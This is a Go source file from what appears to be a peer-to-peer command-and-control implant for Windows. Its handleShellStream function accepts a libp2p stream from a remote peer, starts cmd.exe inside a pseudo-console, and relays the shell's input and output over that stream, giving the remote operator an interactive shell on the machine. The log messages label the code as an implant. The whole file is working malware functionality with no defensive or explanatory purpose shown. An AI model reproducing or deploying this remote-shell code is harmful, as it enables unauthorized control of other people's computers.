//go:build windows

package core

import (
	"encoding/binary"
	"io"
	"log"
	"time"
	"unsafe"

	"github.com/libp2p/go-libp2p/core/network"
	"golang.org/x/sys/windows"
)

var (
	modKernel32                        = windows.NewLazySystemDLL("kernel32.dll")
	procCreatePseudoConsole            = modKernel32.NewProc("CreatePseudoConsole")
	procClosePseudoConsole             = modKernel32.NewProc("ClosePseudoConsole")
	procInitializeProcThreadAttributeList = modKernel32.NewProc("InitializeProcThreadAttributeList")
	procUpdateProcThreadAttribute      = modKernel32.NewProc("UpdateProcThreadAttribute")
)

type coord struct {
	X, Y int16
}

func (c coord) pack() uintptr {
	return uintptr((int32(c.Y) << 16) | int32(c.X))
}

type pipeHandle struct {
	h windows.Handle
}

func (p *pipeHandle) Read(b []byte) (int, error) {
	var n uint32
	err := windows.ReadFile(p.h, b, &n, nil)
	return int(n), err
}

func (p *pipeHandle) Write(b []byte) (int, error) {
	var n uint32
	err := windows.WriteFile(p.h, b, &n, nil)
	return int(n), err
}

func (p *pipeHandle) Close() error {
	return windows.CloseHandle(p.h)
}

func (a *Agent) handleShellStream(s network.Stream) {
	defer s.Close()
	remotePeer := s.Conn().RemotePeer()

	var rows, cols uint16
	if err := binary.Read(s, binary.LittleEndian, &rows); err != nil {
		log.Printf("[implant] read shell rows: %v", err)
		return
	}
	if err := binary.Read(s, binary.LittleEndian, &cols); err != nil {
		log.Printf("[implant] read shell cols: %v", err)
		return
	}
	if rows < 10 || cols < 80 {
		rows = 30
		cols = 120
	}
	co := coord{X: int16(cols), Y: int16(rows)}
	log.Printf("[implant] shell using rows=%d cols=%d", rows, cols)

	if err := procCreatePseudoConsole.Find(); err != nil {
		log.Printf("[implant] ConPTY not available: %v", err)
		return
	}

	var hPtyIn, hCmdIn windows.Handle
	var hCmdOut, hPtyOut windows.Handle
	if err := windows.CreatePipe(&hPtyIn, &hCmdIn, nil, 0); err != nil {
		log.Printf("[implant] pipe in: %v", err)
		return
	}
	if err := windows.CreatePipe(&hCmdOut, &hPtyOut, nil, 0); err != nil {
		windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
		log.Printf("[implant] pipe out: %v", err)
		return
	}

	var hPC windows.Handle
	ret, _, _ := procCreatePseudoConsole.Call(
		co.pack(),
		uintptr(hPtyIn),
		uintptr(hPtyOut),
		0,
		uintptr(unsafe.Pointer(&hPC)),
	)
	if ret != 0 {
		windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
		windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
		log.Printf("[implant] create pty failed: ret=0x%x", ret)
		return
	}
	log.Printf("[implant] ConPTY created, hPC=0x%x", uintptr(hPC))

	var sz uintptr
	procInitializeProcThreadAttributeList.Call(0, 1, 0, uintptr(unsafe.Pointer(&sz)))
	attrList := make([]byte, sz)
	ret, _, _ = procInitializeProcThreadAttributeList.Call(
		uintptr(unsafe.Pointer(&attrList[0])),
		1, 0,
		uintptr(unsafe.Pointer(&sz)),
	)
	if ret == 0 {
		log.Printf("[implant] init attr list failed")
		procClosePseudoConsole.Call(uintptr(hPC))
		windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
		windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
		return
	}

	ret, _, _ = procUpdateProcThreadAttribute.Call(
		uintptr(unsafe.Pointer(&attrList[0])),
		0,
		0x00020016,
		uintptr(hPC),
		unsafe.Sizeof(hPC),
		0, 0,
	)
	if ret == 0 {
		log.Printf("[implant] update attr failed")
		procClosePseudoConsole.Call(uintptr(hPC))
		windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
		windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
		return
	}

	cmdW, err := windows.UTF16PtrFromString("cmd.exe")
	if err != nil {
		procClosePseudoConsole.Call(uintptr(hPC))
		windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
		windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
		return
	}

	si := windows.StartupInfoEx{}
	si.StartupInfo.Cb = uint32(unsafe.Sizeof(windows.StartupInfoEx{}))
	si.ProcThreadAttributeList = (*windows.ProcThreadAttributeList)(unsafe.Pointer(&attrList[0]))

	pi := new(windows.ProcessInformation)
	err = windows.CreateProcess(
		nil, cmdW,
		nil, nil,
		false,
		windows.EXTENDED_STARTUPINFO_PRESENT|windows.CREATE_UNICODE_ENVIRONMENT,
		nil, nil,
		(*windows.StartupInfo)(unsafe.Pointer(&si)),
		pi,
	)
	if err != nil {
		log.Printf("[implant] create process: %v", err)
		procClosePseudoConsole.Call(uintptr(hPC))
		windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
		windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
		return
	}

	windows.CloseHandle(pi.Thread)
	log.Printf("[implant] shell started via ConPTY for %s", remotePeer.String())

	inPipe := &pipeHandle{h: hCmdIn}
	outPipe := &pipeHandle{h: hCmdOut}

	done := make(chan struct{}, 2)

	go func() {
		io.Copy(inPipe, s)
		inPipe.Close()
		time.AfterFunc(2*time.Second, func() {
			if pi.Process != 0 {
				windows.TerminateProcess(pi.Process, 1)
			}
		})
		done <- struct{}{}
	}()

	go func() {
		io.Copy(s, outPipe)
		outPipe.Close()
		done <- struct{}{}
	}()

	<-done
	<-done

	procClosePseudoConsole.Call(uintptr(hPC))
	s.Close()
	windows.CloseHandle(hPtyIn)
	windows.CloseHandle(hPtyOut)

	windows.WaitForSingleObject(pi.Process, windows.INFINITE)
	windows.CloseHandle(pi.Process)

	log.Printf("[implant] shell ended for %s", remotePeer.String())
}
